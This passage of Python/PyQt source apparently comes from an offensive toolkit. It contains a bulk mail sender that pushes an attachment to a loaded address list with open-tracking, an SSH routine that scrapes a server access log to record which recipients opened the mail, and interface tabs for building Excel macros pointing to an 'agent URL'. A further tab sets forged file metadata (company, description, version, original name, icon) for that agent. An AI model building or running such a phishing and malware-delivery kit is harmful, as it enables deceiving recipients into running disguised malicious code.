open(os.getcwd() + "\\sleuth\\mailOpenList\\Report\\" + self.privatestart + ".txt", 'a') as mailtxt: 700 | 701 | mailtxt.write("Mail Open ! :" + col[::-1][0]+"\n") 702 | else: 703 | pass 704 | 705 | 706 | def ThreadMessage(self,text,inf,title): 707 | 708 | self.mess(text,inf,title) 709 | 710 | def returnInfo(self): 711 | 712 | host = self.sship.text() 713 | username = self.sshuser.text() 714 | password = self.sshpass.text() 715 | port = self.sshport.text() 716 | command = self.accesslog.text() 717 | local = os.getcwd() 718 | 719 | if not self.privatestart: 720 | self.privatestart = str(time.ctime()) 721 | self.privatestart = self.privatestart.replace(" ", "-") 722 | self.privatestart = self.privatestart.replace(":", "") 723 | else: 724 | pass 725 | 726 | self.ipachi = QTreeWidgetItem(self.mailopenwidget) 727 | self.ipachi.setText(0, "Mails") 728 | self.ipachi.setText(1, "Status") 729 | 730 | self.screet = QTreeWidgetItem(self.screetwidget) 731 | self.screetitems = QTreeWidgetItem(self.screet) 732 | 733 | with open(os.getcwd() + "\\sleuth\\mailOpenList\\Report\\" + self.privatestart + ".txt", 'x') as mailtxt: 734 | 735 | mailtxt.write("") 736 | 737 | while True: 738 | 739 | ssh = paramiko.SSHClient() 740 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 741 | ssh.connect(host, int(port), username, password) 742 | ftp = ssh.open_sftp() 743 | 744 | ftp.get(command, 'log.txt') 745 | ftp.close() 746 | path = (os.getcwd() + "\\log.txt") 747 | with open(path,'r') as nan: 748 | 749 | _ = nan.read() 750 | _ = _.strip() 751 | 752 | bos = [''] 753 | list2 = [''] 754 | 755 | nonkala = set() 756 | 757 | 758 | getmail = re.findall(r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b", _) 759 | col = [x for x in getmail if x not in nonkala and not nonkala.add(x)] 760 | 761 | if not col: 762 | pass 763 | else: 764 | 765 | if str(self.screetitems.text(0)) != str(col[::-1][0]): 766 | opentext = "Open" 767 | list2.append(col[::-1][0]) 768 | self.items = QTreeWidgetItem(self.ipachi) 769 | self.screetitems.setText(0,'{}'.format(col[::-1][0])) 770 | self.screetitems.setText(1, '{}'.format(opentext)) 771 | self.esc = self.items.setText(0,'{}'.format(col[::-1][0])) 772 | self.esc = self.items.setText(1, '{}'.format(opentext)) 773 | with open(os.getcwd() + "\\sleuth\\mailOpenList\\Report\\" + self.privatestart + ".txt", 'a') as mailtxt: 774 | 775 | mailtxt.write("Mail Open ! :" + col[::-1][0]) 776 | else: 777 | pass 778 | 779 | def mess(self,text,inf,title): 780 | 781 | self.msg = QMessageBox() 782 | self.msg.setText('{}' .format(text)) 783 | 784 | self.msg.setSizeGripEnabled(True) 785 | self.msg.setInformativeText('{}'.format(inf)) 786 | self.msg.setWindowTitle('{}'.format(title)) 787 | self.msg.setIcon(QMessageBox.Information) 788 | 789 | self.execmsg = self.msg.exec_() 790 | 791 | def openmail(self): 792 | 793 | try: 794 | 795 | self.mail = list() 796 | 797 | options = QFileDialog.Options() 798 | options |= QFileDialog.DontUseNativeDialog 799 | fileName, _ = QFileDialog.getOpenFileName(self, options=options) 800 | 801 | say = 0 802 | nagato = "" 803 | notlist = list() 804 | yeslist = list() 805 | 806 | with open(fileName, 'r') as g: 807 | 808 | for k999 in g: 809 | notlist.append(k999) 810 | 811 | with open(fileName, 'r') as f: 812 | 813 | if not fileName.endswith(".txt"): 814 | self.ThreadMessage("Mail List Error", "Please Select '.txt' File" , "Info") 815 | 816 | else: 817 | self.maillist.setText(fileName) 818 | for _ in f: 819 | mailReg = re.search(r"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$)", _) 820 | 821 | 822 | if mailReg: 823 | 824 | yeslist.append(_) 825 | itemsTextList = [str(self.maillistWidget.item(i).text()) for i in 826 | range(self.maillistWidget.count())] 827 | say += 1 828 | 829 | if _ in itemsTextList: 830 | pass 831 | else: 832 | self.maillistWidget.addItem(_) 833 | self.mailliststatus.setText(" " * 21 + str(say) + " Email Added") 834 | 835 | self.mail.append(_) 836 | 837 | else: 838 | 839 | ka = list(set(notlist)-set(yeslist)) 840 | count = 0 841 | 842 | for ningendo in ka: 843 | count += 1 844 | nagato += "{}".format(count)+"- "+ningendo+"\n" 845 | 846 | self.ThreadMessage("Mail Attach Error", "Not Email Adress;\n\n {}".format(nagato), "Info") 847 | except: 848 | 849 | pass 850 | 851 | def attach(self): 852 | 853 | try: 854 | 855 | options = QFileDialog.Options() 856 | options |= QFileDialog.DontUseNativeDialog 857 | fileName, _ = QFileDialog.getOpenFileName(self, options=options) 858 | osrep = fileName.replace("/","\\\\") 859 | self.attachment.setText(osrep) 860 | except Exception as f: 861 | t, o, tb = sys.exc_info() 862 | print(f,tb.tb_lineno) 863 | 864 | def mailSender(self): 865 | 866 | try: 867 | 868 | 869 | mailReg = re.search(r"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$)", self.mailadress.text()) 870 | 871 | if not self.subject.text() or not self.attachment.text() or not self.message.toPlainText() or not self.mail: 872 | 873 | self.ThreadMessage("Mail Setting Error", "Please Fill All Fields", "Info") 874 | elif not self.smtphost.text() or not self.smtpport.text() or not self.mailadress.text() or not self.mailpassword.text(): 875 | self.ThreadMessage("General Setting Error", "Please Fill All Fields", "Info") 876 | 877 | elif not mailReg: 878 | self.ThreadMessage("Mail Setting Sender Error", "Please Enter Email Adress", "Info") 879 | 880 | elif not self.opentrackurl.text(): 881 | self.ThreadMessage("Server Settings", "Please Enter Your Domain URL and Path", "Info") 882 | 883 | else: 884 | 885 | sender = self.mailadress.text() 886 | subject = self.subject.text() 887 | attach = self.attachment.text() 888 | message = self.message.toPlainText() 889 | sendto = self.mail 890 | smtphost = self.smtphost.text() 891 | smtpport = self.smtpport.text() 892 | mailadress = self.mailadress.text() 893 | mailpassword = self.mailpassword.text() 894 | opentrackurl = self.opentrackurl.text() 895 | thread = self.thread.text() 896 | 897 | if not self.privatestart: 898 | self.privatestart = str(time.ctime()) 899 | self.privatestart = self.privatestart.replace(" ", "-") 900 | self.privatestart = self.privatestart.replace(":", "") 901 | else: 902 | pass 903 | 904 | if self.thread.value() == 0: 905 | self.ThreadMessage("Mail Sender Thread", "Please Enter Thread", "Error") 906 | 907 | else: 908 | 909 | mail = smtplib.SMTP(smtphost, smtpport) 910 | mail.starttls() 911 | mail.login("{}".format(mailadress), '{}'.format(mailpassword)) 912 | mail.quit() 913 | Message("Mail Sender", "Click To Start !", "Warning !") 914 | self.mailliststatus.setText(" " * 18 + "Wait Until txt Open") 915 | self.t = Thread(target=SettingSender, args=(self.privatestart,thread,opentrackurl,sender,attach,subject,message,smtphost,smtpport,mailadress,mailpassword,*sendto,)) 916 | self.t.daemon = True 917 | self.t.start() 918 | self.privatestart = "" 919 | 920 | except smtplib.SMTPAuthenticationError: 921 | self.ThreadMessage("Authentication Error", "Wrong Username or Password !", "Info") 922 | sys.stderr.flush() 923 | 924 | 925 | except smtplib.SMTPConnectError: 926 | self.ThreadMessage("Connection Error", "SMTP Server Down !", "Info") 927 | sys.stderr.flush() 928 | 929 | except smtplib.SMTPNotSupportedError: 930 | self.ThreadMessage("Support Error", "SMTP Not Supported !", "Info") 931 | sys.stderr.flush() 932 | 933 | except Exception as f: 934 | t, o, tb = sys.exc_info() 935 | print(f, tb.tb_lineno) 936 | 937 | def setupUi(self, MainWindow): 938 | MainWindow.setObjectName("MainWindow") 939 | MainWindow.setEnabled(True) 940 | MainWindow.resize(1324, 710) 941 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) 942 | sizePolicy.setHorizontalStretch(0) 943 | sizePolicy.setVerticalStretch(0) 944 | sizePolicy.setHeightForWidth(MainWindow.sizePolicy().hasHeightForWidth()) 945 | MainWindow.setSizePolicy(sizePolicy) 946 | MainWindow.setMinimumSize(QtCore.QSize(1324, 710)) 947 | MainWindow.setMaximumSize(QtCore.QSize(1366, 800)) 948 | MainWindow.setSizeIncrement(QtCore.QSize(1024, 768)) 949 | MainWindow.setBaseSize(QtCore.QSize(1024, 768)) 950 | MainWindow.setFocusPolicy(QtCore.Qt.NoFocus) 951 | MainWindow.setAutoFillBackground(True) 952 | MainWindow.setDockNestingEnabled(False) 953 | self.centralwidget = QtWidgets.QWidget(MainWindow) 954 | self.centralwidget.setObjectName("centralwidget") 955 | self.tabWidget = QtWidgets.QTabWidget(self.centralwidget) 956 | self.tabWidget.setGeometry(QtCore.QRect(30, 40, 1261, 591)) 957 | self.tabWidget.setMinimumSize(QtCore.QSize(841, 0)) 958 | font = QtGui.QFont() 959 | font.setPointSize(11) 960 | font.setBold(False) 961 | font.setItalic(False) 962 | font.setWeight(50) 963 | font.setStrikeOut(False) 964 | font.setStyleStrategy(QtGui.QFont.PreferAntialias) 965 | self.tabWidget.setFont(font) 966 | self.tabWidget.setMouseTracking(True) 967 | self.tabWidget.setTabletTracking(False) 968 | self.tabWidget.setLayoutDirection(QtCore.Qt.LeftToRight) 969 | self.tabWidget.setTabPosition(QtWidgets.QTabWidget.North) 970 | self.tabWidget.setTabShape(QtWidgets.QTabWidget.Rounded) 971 | self.tabWidget.setIconSize(QtCore.QSize(30, 30)) 972 | self.tabWidget.setElideMode(QtCore.Qt.ElideNone) 973 | self.tabWidget.setUsesScrollButtons(False) 974 | self.tabWidget.setDocumentMode(False) 975 | self.tabWidget.setTabsClosable(False) 976 | self.tabWidget.setMovable(True) 977 | self.tabWidget.setTabBarAutoHide(False) 978 | self.tabWidget.setObjectName("tabWidget") 979 | self.tab = QtWidgets.QWidget() 980 | self.tab.setObjectName("tab") 981 | self.senderlabel = QtWidgets.QLabel(self.tab) 982 | self.senderlabel.setGeometry(QtCore.QRect(70, 70, 91, 16)) 983 | self.senderlabel.setObjectName("senderlabel") 984 | self.mailliststatus = QtWidgets.QLineEdit(self.tab) 985 | self.mailliststatus.setGeometry(QtCore.QRect(780, 470, 201, 20)) 986 | self.mailliststatus.setObjectName("mailliststatus") 987 | self.mailliststatus.setReadOnly(True) 988 | self.messagelabel = QtWidgets.QLabel(self.tab) 989 | self.messagelabel.setGeometry(QtCore.QRect(70, 190, 91, 16)) 990 | self.messagelabel.setObjectName("messagelabel") 991 | self.message = QtWidgets.QPlainTextEdit(self.tab) 992 | self.message.setGeometry(QtCore.QRect(170, 190, 391, 341)) 993 | self.message.setObjectName("message") 994 | self.maillistlabel = QtWidgets.QLabel(self.tab) 995 | self.maillistlabel.setGeometry(QtCore.QRect(620, 70, 91, 16)) 996 | self.maillistlabel.setObjectName("maillistlabel") 997 | self.attachment = QtWidgets.QLineEdit(self.tab) 998 | self.attachment.setGeometry(QtCore.QRect(170, 150, 201, 20)) 999 | self.attachment.setObjectName("attachment") 1000 | self.attachment.setReadOnly(True) 1001 | 1002 | self.openmaillist = QtWidgets.QPushButton(self.tab) 1003 | self.openmaillist.setGeometry(QtCore.QRect(910, 70, 81, 21)) 1004 | font = QtGui.QFont() 1005 | font.setPointSize(8) 1006 | self.openmaillist.setFont(font) 1007 | self.openmaillist.setObjectName("openmaillist") 1008 | self.openmaillist.clicked.connect(self.openmail) 1009 | self.maillistWidget = QtWidgets.QListWidget(self.tab) 1010 | self.maillistWidget.setGeometry(QtCore.QRect(700, 140, 361, 321)) 1011 | self.maillistWidget.setObjectName("maillistWidget") 1012 | self.attachment_2 = QtWidgets.QLabel(self.tab) 1013 | self.attachment_2.setGeometry(QtCore.QRect(70, 150, 91, 16)) 1014 | self.attachment_2.setObjectName("attachment_2") 1015 | self.openattach = QtWidgets.QPushButton(self.tab) 1016 | self.openattach.setGeometry(QtCore.QRect(380, 150, 81, 21)) 1017 | font = QtGui.QFont() 1018 | font.setPointSize(8) 1019 | 1020 | self.subjectlabel = QtWidgets.QLabel(self.tab) 1021 | self.subjectlabel.setGeometry(QtCore.QRect(70, 110, 91, 16)) 1022 | self.subjectlabel.setObjectName("subjectlabel") 1023 | 1024 | self.maillist = QtWidgets.QLineEdit(self.tab) 1025 | self.maillist.setGeometry(QtCore.QRect(700, 70, 201, 20)) 1026 | self.maillist.setObjectName("maillist") 1027 | self.maillist.setReadOnly(True) 1028 | 1029 | self.line_2 = QtWidgets.QFrame(self.tab) 1030 | self.line_2.setGeometry(QtCore.QRect(590, 0, 20, 551)) 1031 | self.line_2.setFrameShape(QtWidgets.QFrame.VLine) 1032 | self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) 1033 | self.line_2.setObjectName("line_2") 1034 | self.threadlabel = QtWidgets.QLabel(self.tab) 1035 | self.threadlabel.setGeometry(QtCore.QRect(620, 110, 91, 16)) 1036 | self.threadlabel.setObjectName("threadlabel") 1037 | 1038 | self.subject = QtWidgets.QLineEdit(self.tab) 1039 | self.subject.setGeometry(QtCore.QRect(170, 110, 201, 20)) 1040 | self.subject.setObjectName("subject") 1041 | self.openattach.setFont(font) 1042 | self.openattach.setObjectName("openattach") 1043 | self.openattach.clicked.connect(self.attach) 1044 | self.thread = QtWidgets.QSpinBox(self.tab) 1045 | self.thread.setGeometry(QtCore.QRect(700, 110, 42, 22)) 1046 | self.thread.setObjectName("thread") 1047 | self.thread.setValue(5) 1048 | self.mailstart = QtWidgets.QPushButton(self.tab) 1049 | self.mailstart.setGeometry(QtCore.QRect(820, 520, 101, 23)) 1050 | self.mailstart.setObjectName("mailstart") 1051 | self.mailstart.clicked.connect(self.mailSender) 1052 | 1053 | icon = QtGui.QIcon() 1054 | icon.addPixmap(QtGui.QPixmap(os.getcwd()+"\\ico\\sent-mail-128.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) 1055 | self.tabWidget.addTab(self.tab, icon, "") 1056 | self.tab_2 = QtWidgets.QWidget() 1057 | self.tab_2.setObjectName("tab_2") 1058 | self.label_6 = QtWidgets.QLabel(self.tab_2) 1059 | self.label_6.setGeometry(QtCore.QRect(90, 60, 71, 16)) 1060 | self.label_6.setObjectName("label_6") 1061 | self.label_7 = QtWidgets.QLabel(self.tab_2) 1062 | self.label_7.setGeometry(QtCore.QRect(90, 140, 71, 16)) 1063 | self.label_7.setObjectName("label_7") 1064 | self.makrofilename = QtWidgets.QLineEdit(self.tab_2) 1065 | self.makrofilename.setGeometry(QtCore.QRect(170, 60, 113, 20)) 1066 | self.makrofilename.setObjectName("makrofilename") 1067 | self.makrosavedir = QtWidgets.QLineEdit(self.tab_2) 1068 | self.makrosavedir.setGeometry(QtCore.QRect(170, 140, 201, 20)) 1069 | self.makrosavedir.setObjectName("makrosavedir") 1070 | self.makrosavedir.setReadOnly(True) 1071 | self.macroselectdir = QtWidgets.QPushButton(self.tab_2) 1072 | self.macroselectdir.setGeometry(QtCore.QRect(380, 140, 81, 23)) 1073 | font = QtGui.QFont() 1074 | font.setPointSize(9) 1075 | self.macroselectdir.setFont(font) 1076 | self.macroselectdir.setObjectName("macroselectdir") 1077 | self.macroselectdir.clicked.connect(self.macroSelectDir) 1078 | self.label_8 = QtWidgets.QLabel(self.tab_2) 1079 | self.label_8.setGeometry(QtCore.QRect(90, 100, 71, 21)) 1080 | self.label_8.setObjectName("label_8") 1081 | self.makroagenturl = QtWidgets.QLineEdit(self.tab_2) 1082 | self.makroagenturl.setGeometry(QtCore.QRect(170, 100, 201, 20)) 1083 | self.makroagenturl.setObjectName("makroagenturl") 1084 | self.label_9 = QtWidgets.QLabel(self.tab_2) 1085 | self.label_9.setGeometry(QtCore.QRect(90, 200, 91, 16)) 1086 | self.label_9.setObjectName("label_9") 1087 | self.label_10 = QtWidgets.QLabel(self.tab_2) 1088 | self.label_10.setGeometry(QtCore.QRect(550, 100, 91, 16)) 1089 | self.label_10.setObjectName("label_10") 1090 | self.macrolinetext = QtWidgets.QTextEdit(self.tab_2) 1091 | self.macrolinetext.setGeometry(QtCore.QRect(170, 210, 341, 221)) 1092 | self.macrolinetext.setObjectName("macrolinetext") 1093 | self.macrobuttontext = QtWidgets.QLineEdit(self.tab_2) 1094 | self.macrobuttontext.setGeometry(QtCore.QRect(670, 100, 101, 20)) 1095 | self.macrobuttontext.setStatusTip("") 1096 | self.macrobuttontext.setInputMask("") 1097 | self.macrobuttontext.setText("") 1098 | self.macrobuttontext.setCursorPosition(0) 1099 | self.macrobuttontext.setReadOnly(False) 1100 | self.macrobuttontext.setPlaceholderText("") 1101 | self.macrobuttontext.setCursorMoveStyle(QtCore.Qt.LogicalMoveStyle) 1102 | self.macrobuttontext.setObjectName("macrobuttontext") 1103 | self.label_11 = QtWidgets.QLabel(self.tab_2) 1104 | self.label_11.setGeometry(QtCore.QRect(780, 100, 101, 16)) 1105 | font = QtGui.QFont() 1106 | font.setPointSize(7) 1107 | self.label_11.setFont(font) 1108 | self.label_11.setObjectName("label_11") 1109 | self.label_12 = QtWidgets.QLabel(self.tab_2) 1110 | self.label_12.setGeometry(QtCore.QRect(290, 60, 101, 16)) 1111 | font = QtGui.QFont() 1112 | font.setPointSize(7) 1113 | self.label_12.setFont(font) 1114 | self.label_12.setObjectName("label_12") 1115 | self.label_15 = QtWidgets.QLabel(self.tab_2) 1116 | self.label_15.setGeometry(QtCore.QRect(550, 60, 101, 16)) 1117 | self.label_15.setObjectName("label_15") 1118 | self.macrotextloc = QtWidgets.QLineEdit(self.tab_2) 1119 | self.macrotextloc.setGeometry(QtCore.QRect(670, 60, 41, 20)) 1120 | self.macrotextloc.setStatusTip("") 1121 | self.macrotextloc.setInputMask("") 1122 | self.macrotextloc.setText("") 1123 | self.macrotextloc.setCursorPosition(0) 1124 | self.macrotextloc.setReadOnly(False) 1125 | self.macrotextloc.setPlaceholderText("") 1126 | self.macrotextloc.setCursorMoveStyle(QtCore.Qt.LogicalMoveStyle) 1127 | self.macrotextloc.setObjectName("macrotextloc") 1128 | self.label_17 = QtWidgets.QLabel(self.tab_2) 1129 | self.label_17.setGeometry(QtCore.QRect(550, 140, 121, 16)) 1130 | self.label_17.setObjectName("label_17") 1131 | self.macrobuttonloc = QtWidgets.QLineEdit(self.tab_2) 1132 | self.macrobuttonloc.setGeometry(QtCore.QRect(670, 140, 41, 20)) 1133 | self.macrobuttonloc.setStatusTip("") 1134 | self.macrobuttonloc.setInputMask("") 1135 | self.macrobuttonloc.setText("") 1136 | self.macrobuttonloc.setCursorPosition(0) 1137 | self.macrobuttonloc.setReadOnly(False) 1138 | self.macrobuttonloc.setPlaceholderText("") 1139 | self.macrobuttonloc.setCursorMoveStyle(QtCore.Qt.LogicalMoveStyle) 1140 | self.macrobuttonloc.setObjectName("macrobuttonloc") 1141 | self.label_19 = QtWidgets.QLabel(self.tab_2) 1142 | self.label_19.setGeometry(QtCore.QRect(550, 180, 121, 16)) 1143 | self.label_19.setObjectName("label_19") 1144 | self.macroimage = QtWidgets.QLineEdit(self.tab_2) 1145 | self.macroimage.setGeometry(QtCore.QRect(670, 180, 191, 20)) 1146 | self.macroimage.setStatusTip("") 1147 | self.macroimage.setInputMask("") 1148 | self.macroimage.setText("") 1149 | self.macroimage.setCursorPosition(0) 1150 | self.macroimage.setReadOnly(True) 1151 | self.macroimage.setPlaceholderText("") 1152 | self.macroimage.setCursorMoveStyle(QtCore.Qt.LogicalMoveStyle) 1153 | self.macroimage.setObjectName("macroimage") 1154 | self.macroselectimage = QtWidgets.QPushButton(self.tab_2) 1155 | self.macroselectimage.setGeometry(QtCore.QRect(870, 180, 81, 23)) 1156 | font = QtGui.QFont() 1157 | font.setPointSize(9) 1158 | self.macroselectimage.setFont(font) 1159 | self.macroselectimage.setObjectName("macroselectimage") 1160 | self.macroselectimage.clicked.connect(self.macroSelectImg) 1161 | self.macroimageloc = QtWidgets.QLineEdit(self.tab_2) 1162 | self.macroimageloc.setGeometry(QtCore.QRect(670, 220, 41, 20)) 1163 | self.macroimageloc.setStatusTip("") 1164 | self.macroimageloc.setInputMask("") 1165 | self.macroimageloc.setText("") 1166 | self.macroimageloc.setCursorPosition(0) 1167 | self.macroimageloc.setReadOnly(False) 1168 | self.macroimageloc.setPlaceholderText("") 1169 | self.macroimageloc.setCursorMoveStyle(QtCore.Qt.LogicalMoveStyle) 1170 | self.macroimageloc.setObjectName("macroimageloc") 1171 | self.label_21 = QtWidgets.QLabel(self.tab_2) 1172 | self.label_21.setGeometry(QtCore.QRect(550, 220, 121, 16)) 1173 | self.label_21.setObjectName("label_21") 1174 | self.label_18 = QtWidgets.QLabel(self.tab_2) 1175 | self.label_18.setGeometry(QtCore.QRect(950, 55, 101, 21)) 1176 | font = QtGui.QFont() 1177 | font.setPointSize(7) 1178 | self.label_18.setFont(font) 1179 | self.label_18.setObjectName("label_18") 1180 | self.label_16 = QtWidgets.QLabel(self.tab_2) 1181 | self.label_16.setGeometry(QtCore.QRect(920, 50, 31, 31)) 1182 | self.label_16.setText("") 1183 | self.label_16.setPixmap(QtGui.QPixmap(os.getcwd()+"\\ico\\info_512pxGREY.png")) 1184 | self.label_16.setScaledContents(True) 1185 | self.label_16.setObjectName("label_16") 1186 | self.macrocreate = QtWidgets.QPushButton(self.tab_2) 1187 | self.macrocreate.setGeometry(QtCore.QRect(280, 480, 121, 23)) 1188 | self.macrocreate.setObjectName("macrocreate") 1189 | self.macrocreate.clicked.connect(self.createMac) 1190 | self.groupBox_5 = QtWidgets.QGroupBox(self.tab_2) 1191 | self.groupBox_5.setGeometry(QtCore.QRect(570, 250, 371, 301)) 1192 | self.groupBox_5.setObjectName("groupBox_5") 1193 | self.label_13 = QtWidgets.QLabel(self.groupBox_5) 1194 | self.label_13.setGeometry(QtCore.QRect(0, 30, 371, 271)) 1195 | self.label_13.setText("") 1196 | self.label_13.setPixmap(QtGui.QPixmap(os.getcwd()+"\\ico\\Example.png")) 1197 | self.label_13.setObjectName("label_13") 1198 | icon1 = QtGui.QIcon() 1199 | icon1.addPixmap(QtGui.QPixmap(os.getcwd()+"\\ico\\ExcelMacro.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) 1200 | self.tabWidget.addTab(self.tab_2, icon1, "") 1201 | self.tab_3 = QtWidgets.QWidget() 1202 | self.tab_3.setObjectName("tab_3") 1203 | self.connectSettings = QtWidgets.QGroupBox(self.tab_3) 1204 | self.connectSettings.setGeometry(QtCore.QRect(70, 30, 451, 131)) 1205 | self.connectSettings.setObjectName("connectSettings") 1206 | self.host = QtWidgets.QLineEdit(self.connectSettings) 1207 | self.host.setGeometry(QtCore.QRect(60, 40, 121, 20)) 1208 | self.host.setObjectName("host") 1209 | self.label_20 = QtWidgets.QLabel(self.connectSettings) 1210 | self.label_20.setGeometry(QtCore.QRect(10, 40, 47, 13)) 1211 | self.label_20.setObjectName("label_20") 1212 | self.label_22 = QtWidgets.QLabel(self.connectSettings) 1213 | self.label_22.setGeometry(QtCore.QRect(10, 80, 47, 13)) 1214 | self.label_22.setObjectName("label_22") 1215 | self.port = QtWidgets.QLineEdit(self.connectSettings) 1216 | self.port.setGeometry(QtCore.QRect(60, 80, 41, 16)) 1217 | self.port.setObjectName("port") 1218 | self.label_79 = QtWidgets.QLabel(self.connectSettings) 1219 | self.label_79.setGeometry(QtCore.QRect(200, 40, 81, 16)) 1220 | font = QtGui.QFont() 1221 | font.setPointSize(7) 1222 | self.label_79.setFont(font) 1223 | self.label_79.setObjectName("label_79") 1224 | self.detailProperties = QtWidgets.QGroupBox(self.tab_3) 1225 | self.detailProperties.setGeometry(QtCore.QRect(70, 200, 451, 341)) 1226 | self.detailProperties.setObjectName("detailProperties") 1227 | self.label_23 = QtWidgets.QLabel(self.detailProperties) 1228 | self.label_23.setGeometry(QtCore.QRect(20, 40, 121, 16)) 1229 | self.label_23.setObjectName("label_23") 1230 | self.label_24 = QtWidgets.QLabel(self.detailProperties) 1231 | self.label_24.setGeometry(QtCore.QRect(20, 70, 121, 16)) 1232 | self.label_24.setObjectName("label_24") 1233 | self.label_25 = QtWidgets.QLabel(self.detailProperties) 1234 | self.label_25.setGeometry(QtCore.QRect(20, 100, 111, 16)) 1235 | self.label_25.setObjectName("label_25") 1236 | self.label_26 = QtWidgets.QLabel(self.detailProperties) 1237 | self.label_26.setGeometry(QtCore.QRect(20, 130, 81, 16)) 1238 | self.label_26.setObjectName("label_26") 1239 | self.label_27 = QtWidgets.QLabel(self.detailProperties) 1240 | self.label_27.setGeometry(QtCore.QRect(20, 160, 131, 16)) 1241 | self.label_27.setObjectName("label_27") 1242 | self.compname = QtWidgets.QLineEdit(self.detailProperties) 1243 | self.compname.setGeometry(QtCore.QRect(160, 40, 121, 20)) 1244 | self.compname.setObjectName("compname") 1245 | 1246 | 1247 | 1248 | self.filedes = QtWidgets.QLineEdit(self.detailProperties) 1249 | self.filedes.setGeometry(QtCore.QRect(160, 70, 121, 20)) 1250 | self.filedes.setObjectName("filedes") 1251 | self.filevers = QtWidgets.QLineEdit(self.detailProperties) 1252 | self.filevers.setGeometry(QtCore.QRect(160, 100, 121, 20)) 1253 | self.filevers.setObjectName("filevers") 1254 | self.filecorp = QtWidgets.QLineEdit(self.detailProperties) 1255 | self.filecorp.setGeometry(QtCore.QRect(160, 130, 121, 20)) 1256 | self.filecorp.setObjectName("filecorp") 1257 | self.orginalname = QtWidgets.QLineEdit(self.detailProperties) 1258 | self.orginalname.setGeometry(QtCore.QRect(160, 160, 121, 20)) 1259 | self.orginalname.setObjectName("orginalname") 1260 | self.label_28 = QtWidgets.QLabel(self.detailProperties) 1261 | self.label_28.setGeometry(QtCore.QRect(20, 190, 131, 16)) 1262 | self.label_28.setObjectName("label_28") 1263 | self.productname = QtWidgets.QLineEdit(self.detailProperties) 1264 | self.productname.setGeometry(QtCore.QRect(160, 190, 121, 20)) 1265 | self.productname.setObjectName("productname") 1266 | self.label_29 = QtWidgets.QLabel(self.detailProperties) 1267 | self.label_29.setGeometry(QtCore.QRect(20, 220, 131, 16)) 1268 | self.label_29.setObjectName("label_29") 1269 | self.productver = QtWidgets.QLineEdit(self.detailProperties) 1270 | self.productver.setGeometry(QtCore.QRect(160, 220, 121, 20)) 1271 | self.productver.setObjectName("productver") 1272 | self.label_37 = QtWidgets.QLabel(self.detailProperties) 1273 | self.label_37.setGeometry(QtCore.QRect(20, 250, 131, 16)) 1274 | self.label_37.setObjectName("label_37") 1275 | self.fileverseye = QtWidgets.QLineEdit(self.detailProperties) 1276 | self.fileverseye.setGeometry(QtCore.QRect(160, 250, 121, 20)) 1277 | self.fileverseye.setObjectName("fileverseye") 1278 | self.fileico = QtWidgets.QLineEdit(self.detailProperties) 1279 | self.fileico.setGeometry(QtCore.QRect(160, 310, 151, 20)) 1280 | self.fileico.setObjectName("fileico") 1281 | self.label_68 = QtWidgets.QLabel(self.detailProperties) 1282 | self.label_68.setGeometry(QtCore.QRect(20, 310, 131, 16)) 1283 | self.label_68.setObjectName("label_68") 1284 | self.fileicoselect = QtWidgets.QPushButton(self.detailProperties) 1285 | self.fileicoselect.setGeometry(QtCore.QRect(314, 310, 81, 23)) 1286 | self.fileicoselect.setObjectName("fileicoselect") 1287 | self.fileicoselect.clicked.connect(self.AgentIco) 1288 | self.label_71 = QtWidgets.QLabel(self.detailProperties) 1289 | self.label_71.setGeometry(QtCore.QRect(290, 40, 101, 16)) 1290 | font = QtGui.QFont() 1291 | font.setPointSize(7) 1292 | self.label_71.setFont(font) 1293 | self.label_71.setObjectName("label_71") 1294 | self.label_72 = QtWidgets.QLabel(self.detailProperties) 1295 | self.label_72.setGeometry(QtCore.QRect(290, 70, 101, 16)) 1296 | font = QtGui.QFont() 1297 | font.setPointSize(7) 1298 | self.label_72.setFont(font) 1299 | self.label_72.setObjectName("label_72") 1300 | self.label_73 = QtWidgets.QLabel(self.detailProperties) 1301 | self.label_73.setGeometry(QtCore.QRect(290, 100, 101, 16)) 1302 | font = QtGui.QFont() 1303 | font.setPointSize(7) 1304 | self.label_73.setFont(font) 1305 | self.label_73.setObjectName("label_73") 1306 | self.label_74 = QtWidgets.QLabel(self.detailProperties) 1307 | self.label_74.setGeometry(QtCore.QRect(290, 130, 101, 16)) 1308 | font = QtGui.QFont() 1309 | font.setPointSize(7) 1310 | self.label_74.setFont(font) 1311 | self.label_74.setObjectName("label_74") 1312 | self.label_75 = QtWidgets.QLabel(self.detailProperties) 1313 | self.label_75.setGeometry(QtCore.QRect(290, 160, 101, 16)) 1314 | font = QtGui.QFont() 1315 | font.setPointSize(7) 1316 | self.label_75.setFont(font) 1317 | self.label_75.setObjectName("label_75") 1318 | self.label_76 = QtWidgets.QLabel(self.detailProperties) 1319 | self.label_76.setGeometry(QtCore.QRect(290, 190, 101, 16)) 1320 | font = QtGui.QFont() 1321 | font.setPointSize(7) 1322 | self.label_76.setFont(font) 1323 | self.label_76.setObjectName("label_76") 1324 | self.label_77 = QtWidgets.QLabel(self.detailProperties) 1325 | self.label_77.setGeometry(QtCore.QRect(290, 220, 101, 16)) 1326 | font = QtGui.QFont() 1327 | font.setPointSize(7) 1328 | self.label_77.setFont(font) 1329 | self.label_77.setObjectName("label_77") 1330 | self.label_78 = QtWidgets.QLabel(self.detailProperties) 1331 | self.label_78.setGeometry(QtCore.QRect(290, 250, 101, 16)) 1332 | font = QtGui.QFont() 1333 | font.setPointSize(7) 1334 | self.label_78.setFont(font) 1335 | self.label_78.setObjectName("label_78") 1336 | self.label_80 = QtWidgets.QLabel(self.detailProperties) 1337 | self.label_80.setGeometry(QtCore.QRect(290, 280, 101, 16)) 1338 | font = QtGui.QFont() 1339 | font.setPointSize(7) 1340 | self.label_80.setFont(font) 1341 | self.label_80.setObjectName("label_80") 1342 | self.filename = QtWidgets.QLineEdit(self.detailProperties) 1343 | self.filename.setGeometry(QtCore.QRect(160, 280, 121, 20)) 1344 | self.filename.setObjectName("filename") 1345 | 